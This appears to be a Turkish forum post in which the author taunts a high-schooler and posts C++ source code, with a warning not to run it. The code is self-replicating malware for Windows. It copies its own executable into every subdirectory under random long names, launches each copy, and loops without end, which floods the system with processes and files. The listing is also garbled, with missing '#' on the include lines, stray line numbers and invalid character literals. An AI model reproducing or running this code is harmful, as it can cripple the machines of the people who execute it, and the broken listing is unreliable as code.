+2
al gözün kod görsün aq liselisi
not: c++'da pek iyi değilim, çalıştırmayın bu kodu. uğraştırır.
18.
include <windows.h>
19.
include <string>
20.
include <iostream>
21.
include <vector>
22.
include <ostream>
23.
include <fstream>
24.
include <ctime>
25.
include <cstdlib>
26.
include <stdio.h>
27.
include <stdlib.h>
28.
include <time.h>
29.
include <tchar.h>
30.
include <string.h>
31.
include <algorithm>
32.
include <cstringt.h>
33.
include <atlstr.h>
34.
include <sstream>
using namespace std;
int num_dirs(const char* path);
string EnumerateDir(const char* pszDir){
char szBuffer[MAX_PATH];
DWORD dwRet = GetCurrentDirectory(MAX_PATH, szBuffer);
SetCurrentDirectory(pszDir);
WIN32_FIND_DATA fd;
HANDLE hFind = ::FindFirstFile("*.", &fd);
if (hFind != INVALID_HANDLE_VALUE){
do{
char* pszName = fd.cFileName;
if (_stricmp(pszName, ".") != 0 && _stricmp(pszName, "..") != 0){}
} while (::FindNextFile(hFind, &fd));
::FindClose(hFind);
}
SetCurrentDirectory(szBuffer);
return szBuffer;
}
string rantar(int len){
string a = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
string r;
srand(time(NULL));
for (int i = 0; i < len; i++) r.push_back(a.at(size_t(rand() % 62)));
return r;
}
int num_dirs(const char* path);
int main(int argc, char *argv[]){
start:
char qweqxweqwe[MAX_PATH];
DWORD size = GetModuleFileNameA(NULL, qweqxweqwe, MAX_PATH);
string fnadasdcasdme = qweqxweqwe;
for (int i = 0; i < fnadasdcasdme. length(); ++i)
if (fnadasdcasdme[i] == '\')
{
fnadasdcasdme. insert(i, 1, '\');
++i;
}
string tarname;
string taring;
string madc(EnumerateDir(argv[0]));
for (int i = 0; i < madc. length(); ++i)
if (madc[i] == '\')
{
madc. insert(i, 1, '\');
++i;
}
taring = madc;
taring. append("\\");
madc. append("\\*");
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
string sPath;
vector<string> MyVect;
sPath. assign(madc);
hFind = FindFirstFile(sPath. data(), &FindFileData);
do{
if (FindFileData. dwFileAttributes == 16){
MyVect. push_back(FindFileData. cFileName);
}
} while (FindNextFile(hFind, &FindFileData));
FindClose(hFind);
for (int i = 0; i < MyVect. size(); i++){
cout << MyVect.at(i).data() << endl;
tarname = taring;
tarname. append(MyVect.at(i).data());
tarname. append("\\");
tarname. append(rantar(184));
tarname. append(".exe");
ifstream source(fnadasdcasdme, ios::binary);
ofstream dest(tarname, ios::binary);
dest << source. rdbuf();
source. close();
dest. close();
stringstream startprocess(stringstream::in | stringstream::out);
startprocess << "start " << tarname;
string command = startprocess.str();
system(command.c_str());
}
goto start;
return 0;
}
Tümünü Göster